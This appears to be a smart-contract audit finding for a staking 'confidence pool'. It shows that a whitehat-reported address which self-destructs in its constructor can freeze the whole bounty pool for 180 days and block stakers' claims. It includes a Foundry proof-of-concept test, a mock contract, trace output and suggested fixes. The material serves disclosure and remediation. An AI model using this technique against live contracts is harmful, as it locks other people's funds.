On good-faith `CORRUPTED`, DESIGN §12 routes the full pool (stake + bonus) to the named whitehat (`attacker`) via `claimAttackerBounty`. Stakers have no separate principal claim on this path `claimCorrupted` requires the bounty to be claimed first (`MustClaimBountyFirst`) before any sweep proceeds. The moderator sets the `attacker` address at `flagOutcome` time based on the whitehat's off-chain report.
`flagOutcome` accepts any non-zero `attacker_` for good-faith `CORRUPTED` with no on-chain check that the address can actually call `claimAttackerBounty`. A whitehat can deploy a contract that self-destructs in its constructor (valid under EIP-6780), report that address, and leave no account able to satisfy `msg.sender == attacker`. The pool stays locked until `sweepUnclaimedCorrupted` after 180 days, when funds go to `recoveryAddress`, not to stakers.
- A whitehat reports a constructor-selfdestruct contract address to the moderator as their bounty recipient before the moderator calls `flagOutcome`.
- The moderator copies the reported address off-chain without verifying on-chain code length or claimability.
- Good-faith `CORRUPTED` is the intended DESIGN §12 path for legitimate exploit reports this flow is expected to occur in production.
- Total pool lock for up to 180 days: no account can call `claimAttackerBounty` from the bricked address.
- Honest stakers lose time value and use of principal; `claimCorrupted` reverts `MustClaimBountyFirst`.
- After 180 days, `sweepUnclaimedCorrupted` sends funds to `recoveryAddress` (sponsor), not back to stakers.
- `setRecoveryAddress` does not bypass the bounty gate stakers have no recovery path except moderator re-flag before `claimsStarted`.
```bash
forge build
forge test --match-contract PoC_MRejecting_UnclaimableAttackerTest -vvvv
```
| Path | Role |
|------|------|
| `test/audit/PoC_MRejecting_UnclaimableAttacker.t.sol` | Standalone PoC |
| `test/mocks/SelfDestructBrick.sol` | `SelfDestructOnDeploy` mock |
| `test/helpers/BaseConfidencePoolTest.sol` | Pool + mock registry `setUp()` |
---
### Reviewer copy-paste setup (clean official contest repo)
All paths relative to **`repo/`**.
**Step 1 — Prerequisites**
```bash
cd repo
git submodule update --init --recursive
forge build
```
**Step 2 — Create the mock file**
Create **`test/mocks/SelfDestructBrick.sol`** and paste:
```solidity
pragma solidity 0.8.26;
contract SelfDestructOnDeploy {
constructor() payable {
selfdestruct(payable(msg.sender));
}
}
```
**Step 3 — Create the PoC test file**
Create **`test/audit/PoC_MRejecting_UnclaimableAttacker.t.sol`** and paste:
```solidity
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {SelfDestructOnDeploy} from "test/mocks/SelfDestructBrick.sol";
contract PoC_MRejecting_UnclaimableAttackerTest is BaseConfidencePoolTest {
function _enterUnderAttack() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
}
function test_PoC_selfDestructOnDeploy_bricksAttackerBountyClaim() external {
address whitehat = makeAddr("whitehat");
vm.deal(whitehat, 1 ether);
vm.startPrank(whitehat);
SelfDestructOnDeploy brick = new SelfDestructOnDeploy{value: 0}();
address brickAddr = address(brick);
vm.stopPrank();
assertEq(brickAddr.code.length, 0, "same-tx selfdestruct removes code");
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
_enterUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, brickAddr);
assertEq(pool.bountyEntitlement(), 150 * ONE);
vm.prank(alice);
vm.expectRevert(IConfidencePool.MustClaimBountyFirst.selector);
pool.claimCorrupted();
}
}
```
**Step 4 — Run**
```bash
forge test --match-contract PoC_MRejecting_UnclaimableAttackerTest -vvvv
```
**Expected result:** `1 passed` — `brickAddr.code.length == 0`; Alice `claimCorrupted` reverts `MustClaimBountyFirst`; `bountyEntitlement == 150e18`.
```
[PASS] test_PoC_selfDestructOnDeploy_bricksAttackerBountyClaim() (gas: 606153)
Traces:
[606153] PoC_MRejecting_UnclaimableAttackerTest::test_PoC_selfDestructOnDeploy_bricksAttackerBountyClaim()
├─ new SelfDestructOnDeploy → brickAddr (code.length == 0 after same-tx selfdestruct)
├─ stake(alice, 100e18) + contributeBonus(carol, 50e18)
├─ flagOutcome(CORRUPTED, goodFaith=true, attacker=brickAddr)
│ ├─ emit OutcomeFlagged(..., outcome: CORRUPTED, goodFaith: true, attacker: brickAddr)
│ └─ bountyEntitlement() → 150000000000000000000 [1.5e20]
├─ claimCorrupted() [alice]
│ ├─ ConfidencePool::claimCorrupted() [delegatecall]
│ │ └─ ← [Revert] MustClaimBountyFirst()
│ └─ ← [Revert] MustClaimBountyFirst()
Suite result: ok. 1 passed; 0 failed; 0 skipped
```
Validate `attacker` at `flagOutcome`: require `attacker_.code.length > 0` for good-faith `CORRUPTED`, or require a pre-registered claimable address via a separate on-chain step.
Add an escape hatch before 180 days: when bounty remains unclaimed after a shorter timeout, allow `claimCorrupted` to route to `recoveryAddress`.